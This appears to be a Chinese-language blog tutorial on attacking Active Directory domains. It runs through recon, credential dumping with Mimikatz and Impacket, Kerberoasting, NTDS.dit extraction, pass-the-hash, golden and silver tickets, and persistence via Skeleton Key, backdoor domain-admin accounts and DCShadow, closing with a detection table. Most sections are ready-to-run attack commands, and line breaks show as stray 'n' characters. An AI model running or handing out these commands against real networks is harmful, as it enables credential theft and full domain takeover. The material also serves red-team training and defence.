域渗透是内网渗透的核心环节。在真实的攻防场景中,拿下 Web 服务器往往只是入口,真正的目标通常是域控制器(DC)上的域管理员权限。本文从攻防视角系统梳理域渗透的完整攻击链——从域环境侦察、凭证获取、横向移动到权限提升与维持,穿插经典工具的原理剖析和实战案例。
一、Active Directory 基础回顾
Active Directory(AD)是 Windows 企业网络的核心身份认证服务,管理着域内的用户、计算机、组策略等资源。理解 AD 的几个核心概念是域渗透的前提:
| 概念 | 说明 |
|---|---|
| 域(Domain) | AD 的逻辑管理单元,共享同一目录数据库 |
| 域控制器(DC) | 运行 AD 域服务的服务器,存储目录数据并处理身份验证,默认运行在 Windows Server 上 |
| 组织单位(OU) | AD 中的容器,用于组织用户、计算机、组等对象,便于委派管理和应用组策略 |
| Kerberos | AD 默认认证协议,基于票据(Ticket)机制,包含 AS-REQ/AS-REP、TGS-REQ/TGS-REP 等关键交互步骤 |
| NTDS.dit | AD 数据库文件,存储所有域用户的 NTLM Hash(位于 %SystemRoot%NTDSntds.dit) |
| 组策略(GPO) | 域管理员通过 GPO 统一管理域内计算机的配置和安全策略,常被攻击者利用实现持久化 |
| 全局编录(GC) | 包含林中每个域对象的部分副本,用于加速跨域查询,默认在第一个 DC 上启用 |
二、域环境侦察
进入内网后的第一步是信息收集。目标是搞清楚”我在哪、域叫什么、DC 是谁、有哪些域管、域内有多少主机”。
2.1 本机信息收集
# 基础信息nwhoami /all # 当前用户及权限nsysteminfo # 系统补丁、版本nipconfig /all # 网络配置(DNS 服务器通常就是 DC)nnet config workstation # 查看是否在域中ncmdkey /list # 凭据管理器中缓存的凭据ntasklist /svc # 进程及服务nnetstat -ano # 端口及连接
2.2 域环境探测
# 域基本信息nnet user /domain # 域用户列表nnet group /domain # 域组列表nnet group "Domain Admins" /domain # 域管理员nnet group "Enterprise Admins" /domain # 企业管理员nnet group "Domain Controllers" /domain # 域控制器nnet time /domain # 查看域时间(通常指向 DC)nnet accounts /domain # 域密码策略nn# DNS 查询nnslookup -type=SRV _ldap._tcp.dc._msdcs.<FQDN> # 定位 DCnnslookup -type=SRV _kerberos._tcp.<FQDN> # 定位 KDC
2.3 BloodHound 分析
BloodHound 是域渗透中最重要的侦察工具。它通过图数据库(Neo4j)可视化分析域内 ACL、成员关系、会话等攻击路径。
# SharpHound 采集(在目标机器上执行)nSharpHound.exe -c All --zipfilename domain.zipnn# 或使用 Python 版采集器(从攻击机)nbloodhound-python -d corp.local -u user -p pass -gc dc01.corp.local -c all -ns 10.0.0.1nn# 导入 BloodHound 后可查询的攻击路径:n# - Find Shortest Path to Domain Admins(到达域管的最短路径)n# - Find Principals with DCSync Rights(具有 DCSync 权限的主体)n# - Find Kerberoastable Users(可 Kerberoasting 的用户)n# - Find AS-REP Roastable Users(不需要 Kerberos 预认证的用户)
BloodHound 的核心价值在于攻击路径规划。你拿下一台 Web 服务器上的本地管理员后,通过 BloodHound 可以直观地看到从这台机器能跳到哪些主机、哪些用户在 DC 上有会话、哪些组之间存在嵌套关系,从而规划最短的提权路径。
三、凭证获取
横向移动的核心是凭证。Windows 系统中凭据的存储位置多种多样:LSASS 进程内存、SAM 数据库、NTDS.dit、凭据管理器、浏览器保存密码、配置文件中的明文密码等。
3.1 Mimikatz — 凭证提取瑞士军刀
# 基础命令(需要管理员或 SYSTEM 权限)nprivilege::debug # 提权到 SeDebugPrivilegenn# 从 LSASS 导出明文密码和 NTLM Hashnsekurlsa::logonpasswords # 导出所有登录凭证(明文 + Hash + Kerberos Ticket)nn# 从 SAM 导出本地账户 Hashntoken::elevate # 提升为 SYSTEMnlsadump::sam # 导出本地 SAM 中的 Hashnn# DCSync — 模拟 DC 请求复制凭据(需要域管或 DCSync 权限)nlsadump::dcsync /domain:corp.local /user:krbtgt # 导出 krbtgt 的 Hashnlsadump::dcsync /domain:corp.local /all # 导出所有域用户 Hashnn# 导出票据nsekurlsa::tickets /export # 导出所有 Kerberos 票据到 .kirbi 文件
3.2 Kerberoasting
Kerberoasting 攻击的对象是注册了 SPN(Service Principal Name)的域用户账号。当域内任意用户向 DC 请求该服务的 TGS 票据时,DC 会用目标服务账号的 NTLM Hash 加密票据。攻击者拿到加密票据后可以离线爆破。
# 使用 Impacket 的 GetUserSPNsnGetUserSPNs.py corp.local/user:password -dc-ip 10.0.0.1 -request -outputfile hashes.txtnn# 使用 RubeusnRubeus.exe kerberoast /outfile:hashes.txtnn# 离线爆破nhashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force
3.3 AS-REP Roasting
对于不要求 Kerberos 预认证的用户(设置了 DONT_REQ_PREAUTH 标志),攻击者无需任何凭证即可请求该用户的 AS-REP 响应,其中包含用用户密码加密的会话密钥,可离线爆破。
# ImpacketnGetNPUsers.py corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -format hashcatnn# RubeusnRubeus.exe asreproast /outfile:asrep.txtnn# 爆破nhashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force
3.4 NTDS.dit 提取
拿到 DC 管理员权限后的终极目标——导出整个域的用户 Hash。
# 方法1: NTDSUtil(Windows 自带)nntdsutil "ac i ntds" "ifm" "create full c:temp" q qnn# 方法2: VSS 卷影复制 + 注册表nvssadmin create shadow /for=C:ncopy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsNTDSntds.dit c:temp
reg save HKLMSYSTEM c:tempsystem.hivenn# 方法3: Impacket secretsdump(需要 DC 管理员权限)nsecretsdump.py corp.local/admin@10.0.0.1 -just-dc-ntlmnn# 离线解析nsecretsdump.py -ntds ntds.dit -system system.hive LOCAL
四、横向移动
获取一台机器的凭证后,下一步是向域内其他主机、最终向域控制器移动。横向移动的方法取决于手头有什么——是明文密码、NTLM Hash 还是 Kerberos 票据。
4.1 Pass-the-Hash(PtH)— NTLM Hash 传递
NTLM 认证的经典缺陷:不需要明文密码,只要拿到 NTLM Hash 就能以该用户身份登录其他系统。
# Impacket wmiexec(WMI 远程执行)nwmiexec.py -hashes :<NTLM_HASH> corp.local/admin@10.0.0.5nn# Impacket smbexec(SMB 远程执行)nsmbexec.py -hashes :<NTLM_HASH> corp.local/admin@10.0.0.5nn# Impacket psexec(服务方式远程执行,会落盘会被 EDR 检测)npsexec.py -hashes :<NTLM_HASH> corp.local/admin@10.0.0.5nn# CrackMapExecutor(批量 PtH)ncrackmapexec smb 10.0.0.0/24 -u admin -H <NTLM_HASH> -d corp.local
4.2 Pass-the-Ticket(PtT)— Kerberos 票据传递
将导出的 .kirbi 票据注入当前会话,以该票据对应身份访问资源,无需密码或 Hash。
# Mimikatz 注入票据nkerberos::ptt ticket.kirbinn# Rubeus 注入nRubeus.exe ptt /ticket:ticket.kirbinn# 查看当前会话中的票据nklist
4.3 Golden Ticket — 黄金票据
拿到 krbtgt 的 NTLM Hash 后,可以伪造任意用户的 TGT(Ticket Granting Ticket),从而以域管身份访问域内任何资源。krbtgt 密钥极少更改,黄金票据的有效期可以非常长。
# Mimikatz 生成并注入黄金票据nkerberos::golden /domain:corp.local /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /user:Administrator /id:500 /pttnn# 参数说明:n# /sid: 域的 SID(通过 whoami /user 去掉最后一段获取)n# /krbtgt: krbtgt 账户的 NTLM Hashn# /user: 要伪造的用户名n# /ptt: 直接注入当前会话
4.4 Silver Ticket — 白银票据
与黄金票据不同,白银票据伪造的是服务票据(TGS)而非 TGT。它只需要目标服务的机器账户 Hash,而非 krbtgt Hash。更隐蔽,因为不需要与 DC 交互。
# 伪造 CIFS 服务票据(访问文件共享)nkerberos::golden /domain:corp.local /sid:<DOMAIN_SID> /target:dc01.corp.local /service:CIFS /rc4:<MACHINE_ACCOUNT_HASH> /user:Administrator /pttnn# 伪造 HOST 服务票据(远程管理、WMI、计划任务)nkerberos::golden /domain:corp.local /sid:<DOMAIN_SID> /target:dc01.corp.local /service:HOST /rc4:<MACHINE_ACCOUNT_HASH> /user:Administrator /pttnn# 常用服务名: CIFS(文件共享), HOST(远程管理), HTTP(WinRM), MSSQL(SQL Server)
4.5 Overpass-the-Hash
用 NTLM Hash 请求 Kerberos TGT,将 NTLM 认证”升级”为 Kerberos 认证,然后转为 Pass-the-Ticket。核心工具是 Rubeus 的 asktgt 命令。
# 用 NTLM Hash 申请 TGTnRubeus.exe asktgt /user:admin /rc4:<NTLM_HASH> /domain:corp.local /ptt
五、权限提升
5.1 本地提权
进入内网的主机可能只是一个普通用户权限,需要先提权到本地 SYSTEM 才能进行凭证提取和后续横向移动。
| 技术 | 原理 | 工具 |
|---|---|---|
| UAC Bypass | 绕过 Windows 用户账户控制,将权限从管理员提升到高完整性级别(不直接到 SYSTEM) | fodhelper、eventvwr、computerdefaults 等注册表劫持技术 |
| Kernel Exploit | 利用 Windows/第三方驱动内核漏洞,从任意用户直接到 SYSTEM | MS16-032、CVE-2020-0787(PrintConfig)、CVE-2021-36934(HiveNightmare) |
| Potato 系列 | 利用 COM 对象 + NTLM 反射进行令牌窃取:通过欺骗 SYSTEM 账户向攻击者监听的端口发起 NTLM 认证,再重放到本地 RPC 服务以获取 SYSTEM 令牌 | JuicyPotato、RoguePotato、PrintSpoofer、SweetPotato |
| 服务劫持 | 修改低权限用户可写的服务路径/配置,服务以 SYSTEM 启动时执行恶意代码 | PowerUp.ps1(Get-ModifiableService) |
| AlwaysInstallElevated | 如果注册表中启用了 AlwaysInstallElevated(HKLM + HKCU 都为 1),MSI 安装包将以 SYSTEM 权限运行 | msfvenom 生成 MSI Payload |
| 计划任务 | 劫持 SYSTEM 权限的计划任务中的可写脚本或二进制文件 | PowerUp.ps1、手动排查 |
5.2 域内提权
- ACL 滥用:分析 BloodHound 中的 ACL 关系,利用 WriteProperty、GenericAll、ForceChangePassword 等权限逐步提升在域内的控制权。例如拥有对某个域管组成员的 GenericWrite 权限,可以直接将自己加入该组。
- Constrained Delegation 利用:约束委派允许服务 A 代表任意用户访问服务 B。如果拿下了约束委派的服务账号,可以通过 S4U2Self 和 S4U2Proxy 协议扩展模拟域管访问目标服务。
- Unconstrained Delegation 利用:非约束委派比约束委派更危险——当域管登录到配置了非约束委派的服务器时,其 TGT 会缓存在该服务器的 LSASS 中,攻击者可以直接导出域管的票据。
- GPO 滥用:如果拥有对 GPO 的编辑权限,可以将恶意脚本/计划任务通过组策略下发到整个域。常见手法包括在 GPO 的启动脚本中添加反弹 Shell、创建计划任务、添加本地管理员等。
- ADCS 攻击(Active Directory Certificate Services):如果域内部署了 AD CS(证书服务),可以利用证书模板权限配置不当进行攻击。经典场景包括 ESC1-ESC13 系列攻击路径,例如在允许注册者指定 SAN(Subject Alternative Name)的证书模板中,任何有注册权限的用户都可以请求域管的证书从而获得其 TGT。
六、权限维持
6.1 黄金票据持久化
krbtgt 账户的密码极少被重置(影响整个域的正常认证流程),因此获取 krbtgt Hash 后可以长期持有域控制权。即使域管密码被修改,黄金票据依然有效。不过需要知道的是,重置 krbtgt 密码两次(间隔大于票据最大生命周期)可以作废所有已有票据。
6.2 Skeleton Key
在域控制器上安装 Skeleton Key 后,所有域用户都可以使用一个预设的”万能密码”(默认是 mimikatz)进行认证,同时用户原有的密码依然有效,非常隐蔽且难以察觉。该技术通过向 LSASS 进程中注入恶意代码实现,重启 DC 后失效,但可以配合其他持久化机制定期重新注入。
# Mimikatz 安装 Skeleton Key(在 DC 上以域管权限执行)nprivilege::debugnmisc::skeletonnn# 之后任何域用户都可以用 "mimikatz" 作为密码登录n# net use dc01c$ /user:corpanyuser mimikatz
6.3 后门账户与影子账户
# 创建普通后门用户并加入域管组nnet user backdoor P@ssw0rd123 /add /domainnnet group "Domain Admins" backdoor /add /domainnn# 更隐蔽:修改现有用户的 objectSID,创建影子账户n# 使用 Mimikatz 的 misc::addsid 或直接修改 AD 属性
6.4 DCShadow
DCShadow 是 Mimikatz 的一项高级功能,允许具有域管权限的攻击者将自己的机器伪装为域控制器,在 AD 中复制任意更改(添加后门用户、修改 ACL 等)。这些更改通过标准的 AD 复制协议传播,很难与正常的 AD 复制流量区分。
# DCShadow 执行步骤:n# Step 1: 在一台有域管权限的机器上启动 Mimikatznlsadump::dcshadow /object:CN=backdoor,... /attribute:primaryGroupID /value:512nn# Step 2: 在 DC 上执行nlsadump::dcshadow /push
七、核心工具链
| 工具 | 类型 | 核心用途 |
|---|---|---|
| BloodHound / SharpHound | 侦察分析 | AD 攻击路径可视化,ACL/委派/会话关系分析 |
| Mimikatz | 凭证提取 | LSASS 凭证转储、DCSync、票据操作(Golden/Silver/Skeleton Key/DCShadow) |
| Impacket | 远程执行 | Python 版 Windows 协议复现——wmiexec、smbexec、psexec、secretsdump、GetUserSPNs 等一整套横向移动工具 |
| Rubeus | Kerberos 攻击 | C# 实现的 Kerberos 交互——AS-REP Roasting、Kerberoasting、Overpass-the-Hash、Ticket 导入/导出 |
| CrackMapExec (CME) | 批量扫描与利用 | 批量 SMB/WinRM/MSSQL 登录、凭证喷洒、BloodHound 采集、命令执行 |
| PowerView | 域枚举 | PowerShell 写的 AD 枚举工具,灵活查询域对象(用户/组/计算机/GPO/ACL 等) |
| Responder | 中间人攻击 | 监听 LLMNR/NBT-NS/mDNS 广播,捕获 Net-NTLM Hash;配合 NTLM Relay 实现中继攻击 |
| ntlmrelayx | NTLM 中继 | 将捕获的 Net-NTLM 认证请求中继到其他服务(SMB/LDAP/HTTP/IMAP),实现未授权访问 |
| Certipy | ADCS 攻击 | AD 证书服务攻击全自动化——证书模板枚举、ESC1-ESC13 全系列、凭据导出 |
八、攻击链实战案例
下面串联一个典型的域渗透攻击链,展示各类技术如何在实际场景中组合使用:
阶段 1 — 初始入口:通过 Web 漏洞(如反序列化/文件上传)获得 Web 服务器(10.0.0.100)的普通 shell。Web 服务器运行在 IIS 的 ApplicationPoolIdentity 下,权限很低。
阶段 2 — 本地提权:执行 systeminfo 发现未打 KB3167679(MS16-032),利用该漏洞直接提权到 SYSTEM。同时用 SharpHound 采集域信息,导入 BloodHound 分析。
阶段 3 — 凭证获取:SYSTEM 权限下 mimikatz sekurlsa::logonpasswords 导出 LSASS 中缓存的 IIS 服务账号(svc_iis)凭证。该账号是企业标准服务账号,在多台服务器上使用相同密码。
阶段 4 — 横向移动:使用 CrackMapExec 对 10.0.0.0/24 网段喷洒 svc_iis 凭证,发现 10.0.0.50 上也有本地管理员权限。BloodHound 分析显示 10.0.0.50 上有一个域管(Domain Admin)的登录会话。使用 Mimikatz 在这台机器上成功导出域管的登录凭证。
阶段 5 — DC 控制:用域管凭证 DCSync 导出整个域的 Hash:mimikatz lsadump::dcsync /domain:corp.local /all /csv。获取 krbtgt Hash,制作黄金票据作为持久化后门。
阶段 6 — 持久化:在 DC 上安装 Skeleton Key,创建隐蔽的影子账户,并通过 DCShadow 在 AD 中写入后门 ACL,实现多层持久化,即使某个后门被清除也不影响整体控制。
九、防御与检测
从蓝队视角,域渗透攻击链的每个阶段都有可检测的特征:
| 攻击阶段 | 检测点 | 日志/监控来源 |
|---|---|---|
| 侦察 | 异常 LDAP 查询、大量 SAM 账户枚举(Event ID 4662)、SharpHound 签名匹配 | LDAP 查询日志、Windows Event Log、EDR 进程监控 |
| 凭证获取 | LSASS 进程被非标准工具访问(Event ID 4663,ObjectType=Process,AccessMask=0x1F0FFF)、异常的 VSS 卷影复制(Event ID 98) | Sysmon Event 10(进程访问)、Event 11(文件创建) |
| 横向移动 | 新增服务创建(Event ID 7045 — psexec 特征)、WMI 远程执行(Event ID 4688 + 父进程 wmiprvse.exe)、计划任务创建(Event ID 4698) | Windows Event Log、Sysmon |
| 票据攻击 | 异常的 TGT/TGS 请求模式、黄金票据的 PAC 异常(MS14-068 补丁后的检测逻辑)、票据有效期异常(黄金票据默认 10 年) | Event ID 4769(TGS 请求)、Event ID 4768(TGT 请求) |
| DCSync | Event ID 4662 — DC 收到 DS-Replication-Get-Changes-All 扩展权限的访问,且来源不是已知的 DC | Windows Event Log on DC |
| Skeleton Key | LSASS 进程内存中的代码注入检测(对比已知的 LSASS 模块 hash) | EDR 内存扫描、Sysmon Event 7(Image Load) |
防御要点:启用 Windows Defender Credential Guard 隔离 LSASS;部署 LAPS(Local Administrator Password Solution)管理本地管理员密码,确保每台主机的本地管理员密码唯一;定期审计 ACL 和委派配置(善用 BloodHound 从蓝队视角分析);重点监控 DCSync 和 Kerberos 票据异常;启用 LDAP signing 和 LDAPS 防止 NTLM 中继;正确配置 AD CS 证书模板权限(重点关注 ESC1-ESC8)。
十、总结
域渗透的本质是信任链的传递与滥用——Kerberos 信任 TGT,服务信任 SPN,组策略信任 GPO 编辑者,ACL 信任变更者。攻击者的每一步都是在利用这些预设的信任关系,从一个受信任的节点跳到下一个。
作为攻防的两面——红队需要系统化地理解这些信任关系并串联攻击路径,蓝队则需要在每个信任边界上设置检测点。无论是进攻还是防守,掌握本文涉及的各类技术和工具,理解 Kerberos 认证和 AD 信任模型的底层机制,都是深入域渗透领域的必经之路。
参考资源:MITRE ATT&CK Enterprise Matrix(TA0006 Credential Access / TA0008 Lateral Movement)、adsecurity.org(Sean Metcalf 的 Kerberos 系列)、harmj0y 的 BloodHound 白皮书、ired.team 红队笔记、Pentestlab Blog。
n